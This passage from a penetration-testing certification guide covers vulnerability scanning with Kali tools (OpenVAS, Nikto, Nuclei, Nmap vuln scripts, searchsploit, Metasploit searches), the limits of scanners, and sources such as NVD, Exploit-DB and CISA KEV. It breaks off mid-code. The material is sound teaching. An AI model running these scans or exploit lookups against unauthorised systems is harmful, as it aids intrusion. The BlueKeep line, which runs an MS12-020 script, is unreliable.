Other enterprise platforms worth knowing by name: Rapid7 Nexpose / InsightVM (similar positioning to Nessus Professional/Tenable.sc), Microsoft Defender Vulnerability Management (for organizations standardized on Microsoft security stack), and CrowdStrike Falcon Spotlight (agent-based vulnerability management integrated with endpoint detection and response).

3.3.6 Vulnerability Scanning with Kali Tools — Practical Reference

Setting Up and Running a Professional Scan Workflow

In a penetration testing engagement, vulnerability scanning is not a single-click operation. It is a deliberate, staged process that uses multiple tools targeting different aspects of the attack surface. The workflow presented here is representative of how professional penetration testers approach vulnerability scanning in real engagements.

Phase 1 — Infrastructure Vulnerability Scanning with OpenVAS/GVM

For infrastructure-level vulnerability assessment (servers, network devices, workstations), OpenVAS is the primary tool on Kali. The process involves creating a scan target, selecting a scan configuration, running the scan, and analyzing results.

Creating a scan in the GVM web interface (https://127.0.0.1:9392):

Navigate to Scans → Tasks → New Task. Provide a name for the task. Under "Scan Targets," create a new target specifying the IP addresses or CIDR range to scan. Select the scan configuration — typically "Full and Fast" for a comprehensive authenticated scan or "Discovery" for a quick initial overview. If performing an authenticated scan, add credentials in the Credentials section before creating the task.

For penetration testing contexts, the "Full and Fast" configuration runs all applicable NVTs with optimized timing. The "Full and Very Deep" configuration runs more thorough checks including some that may be disruptive to services — use this with caution on production systems.

From the command line using gvm-cli:

# List available scan configurations
gvm-cli socket --gmp-username admin --gmp-password [pass] \
  --xml "<get_configs/>"

# Create a target (replace with actual IP/range)
gvm-cli socket --gmp-username admin --gmp-password [pass] \
  --xml "<create_target><name>PenTest Target</name><hosts>10.10.10.0/24</hosts></create_target>"

# Check scan status
gvm-cli socket --gmp-username admin --gmp-password [pass] \
  --xml "<get_tasks/>"

Phase 2 — Web Application Scanning with Nikto

For every web server discovered during port scanning, run Nikto as a fast initial check before deeper application testing.

# Quick scan against all discovered web servers
# Assuming live_web_servers.txt contains one IP:port per line
while IFS= read -r target; do
    echo "[*] Scanning $target"
    nikto -h "http://$target" -o "nikto_${target//[:\/]/_}.txt" -Format txt
done < live_web_servers.txt

# Common Nikto findings worth noting:
# - "Server leaks inodes via ETags" — information disclosure
# - "The anti-clickjacking X-Frame-Options header is not present" — missing security header
# - "Retrieved x-powered-by header: PHP/7.4.3" — version disclosure
# - "Allowed HTTP Methods: GET, POST, OPTIONS, DELETE" — dangerous HTTP methods enabled
# - "Default account found for 'admin'" — default credential finding
# - "OSVDB-XXXX: /phpmyadmin/: phpMyAdmin directory found" — exposed admin interface

Phase 3 — CVE-Specific Scanning with Nuclei

For targeted CVE checks, especially on external-facing web services, Nuclei provides fast, accurate results.

# Scan for critical CVEs specifically
nuclei -l live_hosts.txt -tags cve -severity critical -o nuclei_critical.txt

# Scan for exposed sensitive files and panels
nuclei -l web_servers.txt -tags exposure -o nuclei_exposures.txt

# Scan for default credentials
nuclei -l web_servers.txt -tags default-login -o nuclei_defaultcreds.txt

# Check for specific high-profile CVEs
nuclei -l targets.txt -id CVE-2021-44228  # Log4Shell
nuclei -l targets.txt -id CVE-2021-26855  # ProxyLogon (Exchange)
nuclei -l targets.txt -id CVE-2022-22965  # Spring4Shell

# Full combined scan with output
nuclei -l targets.txt \
       -severity critical,high \
       -tags cve,exposure,default-login \
       -o nuclei_results.json \
       -json

Phase 4 — Nmap NSE Vulnerability Scripts

Nmap's scripting engine provides targeted vulnerability checks that integrate naturally with the existing scan workflow.

# Run all vulnerability category scripts against discovered hosts
sudo nmap --script vuln -p 21,22,23,25,80,443,445,3389 \
          -iL live_hosts.txt \
          -oA nmap_vuln_scan

# Specific high-value vulnerability checks:

# EternalBlue (MS17-010) — WannaCry/NotPetya vulnerability
sudo nmap --script smb-vuln-ms17-010 -p 445 10.10.10.0/24

# BlueKeep (CVE-2019-0708) — RDP vulnerability
sudo nmap --script rdp-vuln-ms12-020 -p 3389 10.10.10.0/24

# Heartbleed (CVE-2014-0160) — OpenSSL vulnerability  
sudo nmap --script ssl-heartbleed -p 443,8443 10.10.10.0/24

# SSL/TLS cipher weaknesses
sudo nmap --script ssl-enum-ciphers -p 443 10.10.10.0/24

# SMB vulnerability comprehensive check
sudo nmap --script "smb-vuln-*" -p 445 10.10.10.0/24

# Apache Struts (CVE-2017-5638) — Equifax breach vulnerability
sudo nmap --script http-vuln-cve2017-5638 -p 80,443,8080 10.10.10.0/24

# HTTP server methods check (dangerous methods like PUT, DELETE)
sudo nmap --script http-methods -p 80,443,8080 10.10.10.0/24

# Default HTTP credentials
sudo nmap --script http-default-accounts -p 80,443 10.10.10.0/24

# Database vulnerability checks
sudo nmap --script mysql-vuln-cve2012-2122 -p 3306 10.10.10.0/24
sudo nmap --script ms-sql-empty-password -p 1433 10.10.10.0/24

Phase 5 — Searchsploit for Exploit Verification

After identifying vulnerable versions, searchsploit (the command-line interface to Exploit-DB) helps quickly determine whether public exploits exist.

# Install/update exploit database
sudo searchsploit --update

# Search for exploits by software name and version
searchsploit apache tomcat 9.0.37
searchsploit openssh 7.4
searchsploit "windows server 2016"
searchsploit log4j

# Search for specific CVE
searchsploit CVE-2021-44228
searchsploit CVE-2017-0144

# Get exploit details
searchsploit -x 47837   # View exploit by ID
searchsploit -p 47837   # Show path to exploit file
searchsploit -m 47837   # Copy exploit to current directory

# Output as JSON for automated processing
searchsploit --json apache tomcat | python3 -m json.tool

3.3.7 Challenges to Consider When Running a Vulnerability Scan

The Realities of Professional Vulnerability Scanning

A significant portion of what separates junior security practitioners from senior ones is their understanding of vulnerability scanner limitations. Scanners are powerful tools, but they produce imperfect output that requires skilled human interpretation. Understanding the challenges inherent in vulnerability scanning is essential for delivering accurate penetration test reports and credible vulnerability assessments.

Challenge 1: False Positives — The Scanner Cried Wolf

A false positive is when the scanner reports that a vulnerability exists when it actually does not. This is the most common type of scanner inaccuracy and represents a genuine operational challenge.

Consider this scenario: a scanner detects that Apache HTTP Server version 2.4.41 is running and reports it as vulnerable to CVE-2021-41773 (path traversal vulnerability affecting Apache 2.4.49). But the scanner's version detection was wrong — the actual version running is 2.4.51, which is patched. The CVE is reported, a ticket is raised, a developer spends two hours investigating, and ultimately concludes the report was wrong. That wasted time is the operational cost of a false positive.

False positives arise from several sources:

Version mismatch errors occur when the scanner cannot precisely determine the software version. If a service has been configured to hide its version number (a common security hardening practice), the scanner may assume the version is the most recently detected one or use heuristics that produce incorrect results.

Backported patches are a particularly common cause of false positives in Linux distributions. Enterprise Linux distributions like Red Hat Enterprise Linux and Ubuntu LTS frequently backport security patches to older version branches rather than upgrading to the latest version. This means a system running Apache 2.4.38 might have all the patches from 2.4.51 backported into it — but the version number still reads 2.4.38. A scanner that only checks version numbers will report all vulnerabilities affecting versions 2.4.39 through 2.4.50 as present, when in fact the patches have been applied at the package level.

Mitigation controls can render a vulnerability unexploitable without patching. A vulnerability that requires a specific module to be enabled might be reported as present even on a system where that module is disabled. The vulnerability technically exists in the software, but it is not exploitable in the current configuration.

How professionals handle false positives: Every significant finding from an automated scan should be manually verified before being included in a penetration test report. Manual verification might involve checking the package manager's changelog to confirm backported patches, attempting to reproduce the exploit behavior, or consulting the vendor advisory to understand the precise conditions required for exploitation. A finding that cannot be manually confirmed should be noted as "unverified" or "potential false positive" in the report.

Challenge 2: False Negatives — The Scanner Missed the Elephant in the Room

A false negative is when a real vulnerability exists but the scanner fails to report it. This is arguably more dangerous than a false positive, because false negatives create a false sense of security — the team believes the system is clean when it is not.

False negatives occur for several reasons:

Unknown vulnerabilities (zero-days) are by definition not in any scanner database. A vulnerability that has not yet been publicly disclosed cannot be detected by signature-based scanning. This is a fundamental limitation of vulnerability scanning that cannot be solved within the scanning paradigm.

Custom or proprietary software is not covered by scanner plugins. If an organization has developed in-house applications, the vulnerability scanner knows nothing about their specific weaknesses. The scanner might detect that the application is running and what HTTP framework it uses, but it cannot know about SQL injection vulnerabilities in the application's custom query logic or authentication bypass vulnerabilities in its login implementation.

Logic vulnerabilities — flaws in business logic rather than software implementation — are invisible to automated scanners. An e-commerce application that can be exploited to purchase items at a negative price, or an authentication system that can be bypassed by manipulating request parameters, requires human analysis to discover.

Deeply buried vulnerabilities may require a chain of conditions that the scanner never tests. A vulnerability that is only reachable after authenticating as a specific user type, navigating to a specific page, and submitting a specific form may never be reached by a scanner's automated crawl.

Configuration-dependent vulnerabilities might not be triggered by generic scanner probes. Some vulnerabilities only manifest under specific configuration states or runtime conditions that a scanner's probe sequence does not create.

This is why penetration testing — with its human analysis, creative thinking, and ability to chain multiple techniques together — is irreplaceable even for organizations that run comprehensive automated vulnerability scanning. The scanner finds what it knows to look for. The penetration tester finds everything the scanner missed.

Challenge 3: Scan Impact on Production Systems

Running vulnerability scans against production systems carries inherent operational risk. Scanners send large volumes of probes in short periods of time. Some of those probes test for vulnerabilities by sending intentionally malformed or unexpected input. This traffic can:

Consume network bandwidth to a degree that impacts legitimate users. A full scan of a /16 network with hundreds of thousands of ports can generate gigabits of traffic.

Trigger application errors when scanner probes hit error-handling code paths that are not tested under normal operations. An application might process millions of normal requests flawlessly, but break when it receives a scanner's SQL injection test payload.

Exhaust database connection pools. Scanners that rapidly open and close many simultaneous connections to database services can consume all available connection slots, causing legitimate application database connections to fail.

Trigger IDS/IPS blocking rules that block legitimate traffic. An IDS that detects a vulnerability scan pattern might block the scanner's source IP — but if that source IP is your legitimate testing machine, all legitimate access from that IP gets blocked.

Crash vulnerable services. Some vulnerability checks — particularly denial-of-service checks and buffer overflow detection — inherently risk crashing the service they are testing. Running these against a production web server during business hours could cause a service outage.

Professional mitigations:

Run scans during designated maintenance windows when the business impact of potential disruption is minimized. Coordinate with operations teams so they know scanning is occurring and can distinguish scan-related alerts from real incidents. Start with non-intrusive scan configurations and escalate to more invasive checks only after verifying that initial scans did not cause disruption. Exclude safety-critical systems or systems where any disruption is unacceptable from scanning scope.

Challenge 4: Scope and Coverage Gaps

A vulnerability scanner can only scan what it knows about. This creates a coverage gap that the term "shadow IT" describes: systems, applications, and services that exist on the network but are not formally documented or included in the official asset inventory.

A developer spins up a test server to prototype a new feature. They use a cloud provider account with a personal credit card. The server runs for six months, gets forgotten, and now sits with an unpatched OS and no monitoring — completely invisible to the organization's vulnerability management program.

A network printer is connected to the corporate network. Its embedded web interface runs outdated firmware. Nobody thinks to include it in vulnerability scans because "it's just a printer."

A contractor installs a remote access tool on a workstation so they can support a client. The tool is not approved by IT, creates a backdoor-like access path, and is never removed when the contract ends.

None of these appear in a vulnerability scan unless the scan covers the full IP range where these devices exist. This is why penetration testing pairs host discovery (active reconnaissance to find all live hosts) with vulnerability scanning — you cannot scan what you do not know exists.

Challenge 5: Keeping Scanner Databases Current

The CVE ecosystem produces thousands of new vulnerability disclosures every month. A vulnerability scanner that has not been updated in 30 days is already missing potentially hundreds of new CVEs. A scanner that has not been updated in six months might miss thousands.

This is not theoretical. In 2021, Log4Shell (CVE-2021-44228) was disclosed on December 9. Organizations that had not updated their vulnerability scanners since December 8 had scanner databases that did not include any Log4Shell check. Mass exploitation began within 24 hours of disclosure — meaning organizations needed to scan for Log4Shell immediately, not after their next scheduled quarterly scanner update.

Professional vulnerability management programs update scanner databases daily and often multiple times per day for critical disclosures. Some organizations also maintain subscriptions to vulnerability intelligence services (like Tenable's Vulnerability Priority Rating or Qualys TruRisk) that provide additional context about exploitation likelihood and attack trends.

Challenge 6: Authenticated vs. Unauthenticated Accuracy Trade-offs

As discussed in the scan types section, authenticated and unauthenticated scans produce different results with different reliability characteristics. In a penetration testing context, there is an additional layer of complexity: the engagement might not authorize providing credentials to the scanner.

A penetration test that simulates an external attacker would not provide credentials — because an external attacker has none. The scan results will reflect what is visible without authentication. This is actually the most valuable perspective for the client: it shows exactly what an attacker on the internet could identify and potentially exploit without any prior access.

But for a comprehensive vulnerability assessment — for example, a PCI DSS assessment that must identify all vulnerabilities affecting the Cardholder Data Environment — authenticated scanning is required to get complete coverage. The choice of scan type must align with the engagement objectives.

3.3.8 Vulnerability Scanning in the Penetration Testing Lifecycle

Where Scanning Fits and How to Use Results

Vulnerability scanning in penetration testing serves as a bridge between reconnaissance (knowing what exists) and exploitation (proving vulnerabilities are real and impactful). Understanding exactly how to use scan results to drive the next phase is a skill that distinguishes effective penetration testers from those who just run tools.

Using Scan Results to Prioritize Exploitation Targets

After receiving vulnerability scan results, the penetration tester does not immediately begin exploiting every critical finding. Instead, they analyze the results through several lenses:

Exploitability from current position: A critical vulnerability in a database server is only useful if the attacker can reach it. If the database is on an internal network segment not directly reachable from the external network, it cannot be the first target — it becomes a target for after lateral movement. The penetration tester maps findings to reachability from their current access position.

Public exploit availability: A critical vulnerability with a CVSS score of 9.8 is very concerning — but if no public exploit exists for it, exploitation requires developing a custom exploit, which is time-consuming and high-risk. A vulnerability with a CVSS score of 7.5 but a well-documented, freely available Metasploit module is often a more practical exploitation target. Searching searchsploit and Exploit-DB for each finding reveals exploit availability.

Alignment with engagement objectives: What is the penetration test trying to demonstrate? If the objective is to reach the financial database and exfiltrate a sample record, vulnerabilities in IT systems that are unrelated to the path to that objective are lower priority, regardless of their CVSS scores.

Confidence in the finding: Was this finding confirmed by the scanner through active exploitation testing, or is it a version-based match? A scanner that checked the version number and matched it against a vulnerable range is less reliable than one that sent a specific exploit probe and confirmed the vulnerable behavior. High-confidence findings get prioritized over uncertain ones.

Cross-Referencing Multiple Scan Results

A professional scan workflow uses multiple tools, and their results often overlap — the same vulnerability reported by both OpenVAS and Nmap's NSE scripts increases confidence. More importantly, different tools sometimes find different things: OpenVAS might miss a web application vulnerability that Nuclei catches, while OpenVAS might identify OS-level patch gaps that Nuclei does not check.

The vulnerability analysis phase involves aggregating all scan results, deduplicating overlapping findings, cross-referencing with exploit databases, and producing a prioritized list of targets for the exploitation phase. This is analytical work that requires judgment and experience — it cannot be fully automated.

Continuous vs. Point-in-Time Scanning

Traditional vulnerability scanning is point-in-time: you scan at a specific moment, receive results for that moment, and those results are valid only as long as the environment does not change. A new server deployed the day after the scan is invisible to those results. A patch applied to a previously vulnerable system is not reflected until the next scan.

Modern enterprise vulnerability management programs move toward continuous scanning — using a combination of agents (which report vulnerability state in real time as software changes) and frequent scheduled scans to maintain an up-to-date picture of the vulnerability landscape.

In a penetration testing context, the scan is inherently point-in-time and reflects the state of the environment during the testing window. This is acknowledged in the penetration test report's scope and methodology section, and the report typically recommends implementing continuous vulnerability scanning as a remediation action.

3.3.9 Interpreting and Acting on Scan Results

Reading a Vulnerability Scan Report Like a Professional

The output of a vulnerability scan is not the end product — it is raw material that requires analysis and interpretation before it becomes actionable intelligence.

The anatomy of a vulnerability finding:

Every finding in a vulnerability scan report contains several elements. The CVE identifier ties the finding to the global vulnerability record. The CVSS score communicates severity. The plugin/NVT name describes the check that found it. The affected asset and service identify exactly what is vulnerable. The description explains what the vulnerability is and how it works. The evidence section shows what the scanner observed that led to the finding — this might be a version number, a service banner, or the actual response to a vulnerability probe. The solution section provides remediation guidance.

For each significant finding, a skilled penetration tester reads all of these elements and asks: Does this make sense? Is the evidence convincing? Could there be a reason this is a false positive? What are the actual exploitation requirements? What business impact would successful exploitation have?

Prioritizing Findings for Reporting

Not all vulnerabilities are equally urgent, and a penetration test report that lists 847 findings in CVSS score order without any analytical prioritization is not professionally valuable. The client's security team cannot act on 847 items simultaneously. They need guidance on where to focus first.

Professional prioritization considers CVSS score as a starting input, then adjusts based on exploitability (confirmed by manual testing or exploit availability), asset criticality (a vulnerability in the payment processing server is more critical than the same vulnerability in a non-production test server), exposure (internet-facing vs. internal), and business context (a confidentiality impact vulnerability is more critical for a data-heavy company than an availability impact).

The final report should present findings in priority tiers, with clear executive-level language explaining why the top-priority findings demand immediate attention.

Verification Before Reporting

The professional standard is to manually verify every finding before including it in a report. Verification does not always mean active exploitation — sometimes it means checking package manager logs to confirm a patch was not backported, reviewing service configurations to confirm the vulnerable condition exists, or checking vendor advisories to confirm the reported version range is accurate.

A finding that appears in scan output but cannot be manually verified should be reported as "potential vulnerability requiring further investigation" rather than a confirmed finding. This intellectual honesty protects both the penetration tester's credibility and the client's ability to triage effectively.

The Remediation Feedback Loop

Vulnerability scanning is not a one-time event — it is part of a continuous improvement cycle. After findings are remediated, the scanner should be run again to confirm that patches and configuration changes were effective. This rescan is the evidence that remediation worked.

In enterprise vulnerability management programs, this cycle runs continuously: scan, prioritize, remediate, rescan, verify, and repeat. The goal is a continuously shrinking attack surface as vulnerabilities are identified and fixed faster than new ones are introduced.

For a penetration tester, this manifests as the retest engagement: after the client remediates the critical and high findings from the initial assessment, the penetration testing firm returns to verify that the fixes were implemented correctly and effectively. A finding that was "patched" but still exploitable because the patch was applied incorrectly is a significant finding in the retest report.

Module 3 — Section 3.4: Understanding How to Analyze Vulnerability Scan Results

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Module 3 Final Sections — The Complete Intelligence-to-Action Pipeline

3.4.1 Overview — From Raw Results to Actionable Intelligence
3.4.2 Sources for Further Investigation of Vulnerabilities
3.4.3 Investigating Vulnerability Information — Professional Workflow
3.4.4 How to Deal with a Vulnerability — The Full Decision Framework
3.5 Module 3 Summary — What You Have Learned and Why It Matters

3.4.1 Overview — From Raw Results to Actionable Intelligence

The Moment After the Scan Finishes

You have run your vulnerability scans. The tools have done their work. OpenVAS has generated a report with 312 findings. Nmap's NSE scripts flagged several critical vulnerabilities. Nuclei confirmed a handful of exposures. Nikto found default files on a web server. Searchsploit returned results for half a dozen service versions you detected.

Now what?

This is the moment that separates security practitioners who can run tools from those who can actually do security work. A list of 312 scanner findings is not intelligence. It is data — raw, unfiltered, partially inaccurate, and without context. Transforming that data into intelligence that can actually guide decisions — deciding what to fix, in what order, with what urgency, and with what evidence — requires understanding each vulnerability more deeply than any scanner can do automatically.

This is what Section 3.4 is about: the analytical work that happens after the scan.

The Core Problem with Scanner Output

Consider a real scenario. Your scan of a web application server returns forty findings. Among them:

A CVSS 9.8 finding for Apache Struts 2.5.26, flagged as vulnerable to CVE-2021-31805 — a remote code execution vulnerability. You look at the affected server. It turns out this is a Windows IIS server, not an Apache Struts application. The scanner misidentified a bundled library version in one response header. The finding is a false positive.

A CVSS 4.3 finding for an information disclosure issue — the server is returning the PHP version in every response header. This sounds low-severity from the score alone. But you check the PHP version: 5.6.40. PHP 5.6 reached end-of-life in December 2018. That version has received no security patches in over five years. There are dozens of unpatched critical vulnerabilities in PHP 5.6, but they are not flagged individually by the scanner because the scanner checked the PHP version, not every individual unpatched CVE in that version. The CVSS 4.3 finding is a signpost pointing to something far more serious.

A CVSS 7.5 finding for OpenSSH 7.4 — username enumeration via CVE-2018-15919. The server is an internal jump box accessible only from specific IP ranges on the management VLAN. From the external network, it is completely unreachable. The scanner does not know this topology detail. The finding is technically accurate but contextually lower priority than its CVSS score suggests, because exploitation requires network access the external attacker does not have.

These three examples illustrate the core problem: scanner output without contextual analysis misleads more than it guides. The numbers and colors in a scanner report are a starting point, not a conclusion.

What Professional Analysis Looks Like

When a professional penetration tester or vulnerability analyst receives scanner output, they apply a systematic analysis framework that addresses several questions for each significant finding:

Is this finding real, or is it a false positive? What evidence did the scanner produce, and does that evidence actually confirm the vulnerability?

Is this vulnerability actually exploitable in this specific environment? What conditions does exploitation require, and do those conditions exist here?

What does this vulnerability actually allow an attacker to do? The CVSS score describes a theoretical worst case — what is the realistic impact in this specific environment?

How does this finding relate to other findings? Does a chain of lower-severity vulnerabilities create a higher-impact attack path than any individual finding suggests?

What is the business context of the affected asset? A vulnerability on the payment processing server demands different urgency than the same vulnerability on a test server with no access to sensitive data.

What are the remediation options? Is a patch available? Can the service be reconfigured to eliminate the vulnerability? Are compensating controls available if immediate patching is not possible?

These questions are what Section 3.4 teaches you to answer. They require deep familiarity with vulnerability intelligence sources, an understanding of how vulnerabilities work, and the analytical discipline to treat scanner output as a hypothesis rather than a conclusion.

3.4.2 Sources for Further Investigation of Vulnerabilities

The Professional Reference Ecosystem

When a scanner reports a vulnerability, the professional next step is to look it up in authoritative sources to understand it fully before making any decisions about it. These sources are not optional reference material — they are the professional infrastructure of vulnerability management and penetration testing. Knowing where to find information and how to use each source is a core professional skill.

NVD — National Vulnerability Database

URL: https://nvd.nist.gov

Maintained by: National Institute of Standards and Technology (NIST), U.S. Department of Commerce

Purpose: The authoritative enrichment layer for CVE records. The primary reference for CVSS scores, CWE classifications, affected software configurations, and vendor advisory links.

The NVD is where you go first when you have a CVE identifier and need to understand it fully. Every CVE record in the NVD contains the CVSS v3.1 base score and vector string (giving you the full breakdown of attack vector, complexity, privileges required, user interaction, scope, and impact), the CWE identifier (classifying the type of underlying weakness), the CPE (Common Platform Enumeration) list of affected products and version ranges, links to vendor advisories and public references, and increasingly, EPSS scores reflecting exploitation likelihood.

The NVD record for CVE-2021-44228 (Log4Shell) shows CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — the maximum possible score of 10.0. Reading this vector string tells you everything: it is exploitable remotely from anywhere on the internet, requires no special conditions to trigger, requires no account or authentication, requires no victim action, changes the security scope from the application to the operating system, and results in complete loss of confidentiality, integrity, and availability. That single vector string communicates the entire severity picture in standardized, unambiguous language.

One limitation to understand: NVD has faced processing backlogs at various points — in 2024 specifically, NIST fell significantly behind on enriching new CVE records with CVSS scores and CPE information. This created a period where many CVE records existed in the NVD without CVSS scores, forcing security teams to use alternative sources like VulnCheck or CISA's ADP (Authorized Data Publisher) enrichment. Knowing that NVD is the standard but not always the most current source is important professional awareness.

How to use NVD in practice:

# NVD API for automated lookups (useful in scripts)
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228"

# Search for vulnerabilities by keyword
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=apache+log4j"

# Get all critical CVEs published in the last 30 days
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cvssV3Severity=CRITICAL&pubStartDate=2024-01-01T00:00:00.000&pubEndDate=2024-01-31T23:59:59.000"

When reading an NVD record manually, always check the References section — it contains links to the vendor's official security advisory, patches, workarounds, and any proof-of-concept (PoC) code that has been publicly disclosed. These references are your roadmap for everything else you need to understand and act on the vulnerability.

MITRE CVE Database

URL: https://cve.mitre.org

Maintained by: MITRE Corporation, under sponsorship from CISA (Cybersecurity and Infrastructure Security Agency)

Purpose: The authoritative source for CVE identifiers — the source of record for CVE assignment and the canonical definition of each vulnerability.

While NVD enriches CVE records with scores and affected product data, MITRE's CVE Program is where CVE identifiers originate and where the definitive description of each vulnerability lives. The distinction matters: NVD can have processing delays, but MITRE's CVE list is updated more immediately when new CVEs are assigned.

MITRE also maintains CVE Numbering Authorities (CNAs) — organizations that have been authorized to assign CVE numbers for vulnerabilities in their own products. Major technology companies including Microsoft, Google, Apple, Cisco, Red Hat, and hundreds of others are CNAs. When Microsoft discovers a vulnerability in Windows, they assign it a CVE number themselves. When a researcher discovers a vulnerability in a product from a company that is not a CNA, they report it to MITRE or to a CNA with coordination responsibilities, who assigns the number.

Understanding the CNA ecosystem explains why you sometimes see CVEs for products you would not expect to have a formal disclosure process, and why the time between vulnerability discovery and CVE assignment varies dramatically.

CWE — Common Weakness Enumeration

URL: https://cwe.mitre.org

Maintained by: MITRE Corporation

Purpose: A categorization system for the underlying code-level weakness types that cause vulnerabilities.

If CVE is the dictionary of specific vulnerabilities ("CVE-2021-44228 is a specific Log4j flaw"), CWE is the grammar — the classification of the types of flaws that exist. CVE-2021-44228 is classified as CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement). This classification tells you the root cause is that the application uses user-controlled input in a context where that input is interpreted as code.

CWE classifications are valuable for:

Root cause analysis: When multiple vulnerabilities share the same CWE, it indicates a systemic weakness in the codebase — the developers are repeatedly making the same class of mistake. This is valuable intelligence for recommending not just patches but improvements to development practices.

Defense strategy: Knowing the CWE category points directly to the defensive control that addresses it. CWE-89 (SQL Injection) points to parameterized queries. CWE-79 (Cross-Site Scripting) points to output encoding and Content Security Policy. CWE-78 (OS Command Injection) points to avoiding shell command construction with user input.

Tool coverage assessment: Static analysis tools (SAST) and security testing tools are often evaluated by which CWE categories they cover. Understanding CWE helps you evaluate whether your security tool suite has meaningful coverage.

Some critical CWEs every penetration tester must know:

CWE ID	Name	Common Manifestation
CWE-79	Cross-Site Scripting (XSS)	User input reflected in HTML without encoding
CWE-89	SQL Injection	User input concatenated into SQL queries
CWE-78	OS Command Injection	User input passed to shell execution functions
CWE-22	Path Traversal	User-controlled file paths allowing `../` traversal
CWE-287	Improper Authentication	Broken authentication mechanisms
CWE-306	Missing Authentication for Critical Function	Admin functions with no auth check
CWE-434	Unrestricted Upload of Dangerous File Type	File upload without type validation
CWE-502	Deserialization of Untrusted Data	Java/PHP deserialization vulnerabilities
CWE-611	XML External Entity (XXE)	XML parsers processing external entity declarations
CWE-798	Use of Hard-coded Credentials	Passwords embedded in source code

Exploit-DB

URL: https://www.exploit-db.com

Maintained by: Offensive Security (creators of Kali Linux and OSCP)

Purpose: A public archive of exploits and vulnerable software — the most comprehensive public database of working exploit code.

Exploit-DB is where you go when you need to know whether a working public exploit exists for a vulnerability and what it looks like. Finding that a vulnerability has a public exploit in Exploit-DB immediately elevates its priority — exploitation is no longer theoretical, and the code to do it is publicly available to anyone.

Each entry in Exploit-DB contains the vulnerability details, the affected software and version, the type of exploit (remote, local, web application, denial of service), a verification status (unverified or verified), the platform (Windows, Linux, multiple), and the actual exploit code or proof-of-concept.

The searchsploit command-line tool provides offline access to the Exploit-DB archive on Kali Linux, making it the fastest way to check exploit availability during a penetration test without requiring internet access.

# Search by software name
searchsploit apache tomcat
searchsploit openssh
searchsploit wordpress 5.8

# Search by CVE
searchsploit CVE-2021-44228
searchsploit CVE-2017-0144

# View exploit details without opening it
searchsploit -x 47837

# Copy exploit to current directory for use
searchsploit -m 47837

# Update the local database
sudo searchsploit --update

# Output as JSON for programmatic use
searchsploit --json apache tomcat 9.0 | python3 -m json.tool

# Search with full path output
searchsploit --path apache struts 2

Understanding Exploit-DB entry quality:

Exploit-DB entries vary in quality and reliability. Some exploits are mature, well-tested, and work reliably against multiple versions of the target software. Others are proof-of-concept code written by researchers to demonstrate a vulnerability exists — they may require significant modification to work in a real environment. Some may be incomplete, contain errors, or have been written for a slightly different version of the target than the one you are testing.

The "Verified" badge in Exploit-DB indicates the Offensive Security team has tested and confirmed the exploit works as described. Unverified exploits require more careful evaluation before trusting them in a professional engagement.

Metasploit Framework Database

URL: https://www.metasploit.com (framework); https://www.rapid7.com/db (vulnerability database)

Maintained by: Rapid7

Purpose: The most important single source for penetration-testing-ready exploit modules.

While Exploit-DB contains raw exploit code that often requires technical adaptation, the Metasploit Framework contains modules that have been engineered to work reliably across multiple target configurations, with built-in payloads, target selection, and auxiliary support. When a vulnerability has a Metasploit module, exploitation becomes significantly more accessible.

The Rapid7 vulnerability database at https://www.rapid7.com/db is the searchable online interface to the same data. You can search by CVE, by software, or by vulnerability type and see exactly which Metasploit modules exist, what platforms they target, how they are used, and what their reliability rating is.

For a penetration tester, the existence of a Metasploit module for a vulnerability is a critical piece of information for two reasons. First, it indicates the vulnerability is realistic and the exploitation path is well-understood. Second, it means any attacker with basic Metasploit skills can exploit it — raising the urgency for remediation.

# Within Metasploit console:
msfconsole

# Search for modules by CVE
search CVE-2021-44228
search CVE-2017-0144

# Search by name or description
search eternalblue
search log4shell
search struts

# Get detailed information about a module
info exploit/multi/handler
info exploit/windows/smb/ms17_010_eternalblue

# Check module reliability ratings
show all               # All modules
use exploit/windows/smb/ms17_010_eternalblue
info                   # Shows rank: Excellent/Great/Good/Normal/Average/Low/Manual

Metasploit reliability rankings: Modules are rated Excellent, Great, Good, Normal, Average, Low, or Manual. "Excellent" means the exploit never crashes services — it is safe to use. "Normal" means the exploit is reliable but may crash services if it fails. "Manual" means the exploit is for educational purposes and requires significant operator skill and manual steps. For production penetration tests, understanding these ratings helps you assess operational risk.

CISA KEV — Known Exploited Vulnerabilities Catalog

URL: https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Maintained by: Cybersecurity and Infrastructure Security Agency (CISA), U.S. Federal Government

Purpose: A catalog of CVEs that have been confirmed as actively exploited in the wild — the most authoritative real-world exploitation signal available.

The CISA KEV catalog was established in November 2021 and has become one of the most important vulnerability prioritization signals in the industry. Unlike CVSS scores (which represent theoretical severity) or EPSS scores (which represent statistical exploitation probability), the KEV catalog lists vulnerabilities that are known, with confirmed evidence, to have been actively exploited by threat actors.

U.S. federal civilian agencies are mandated by CISA Binding Operational Directive 22-01 to remediate KEV-listed vulnerabilities within specified timeframes (typically 2 weeks for new additions). But the KEV's value extends far beyond federal compliance — it is the clearest available signal that a vulnerability is being weaponized in real attacks.

How KEV entries are added: CISA adds a vulnerability to the KEV catalog when there is reliable evidence of active exploitation. This evidence comes from multiple sources: CISA's own threat intelligence, reports from federal agencies, commercial threat intelligence providers, information sharing partnerships, and public reporting from security researchers. The bar for inclusion is confirmed exploitation — not theoretical exploitability.

Why KEV matters for penetration testing:

When you find a KEV-listed vulnerability in a client's environment, the finding has an additional dimension that elevates it beyond the CVSS score: real threat actors are actively using this exact vulnerability in real attacks right now. The remediation urgency is not a theoretical calculation — it is based on confirmed attacker behavior.

# Fetch the KEV catalog as JSON
curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" | python3 -m json.tool

# Check if a specific CVE is in KEV
curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" | \
  python3 -c "
import json, sys
data = json.load(sys.stdin)
target_cve = 'CVE-2021-44228'
for v in data['vulnerabilities']:
    if v['cveID'] == target_cve:
        print(f'FOUND IN KEV: {target_cve}')
        print(f'Product: {v[\"product\"]}')
        print(f'Vendor: {v[\"vendorProject\"]}')
        print(f'Date Added: {v[\"dateAdded\"]}')
        print(f'Due Date: {v[\"dueDate\"]}')
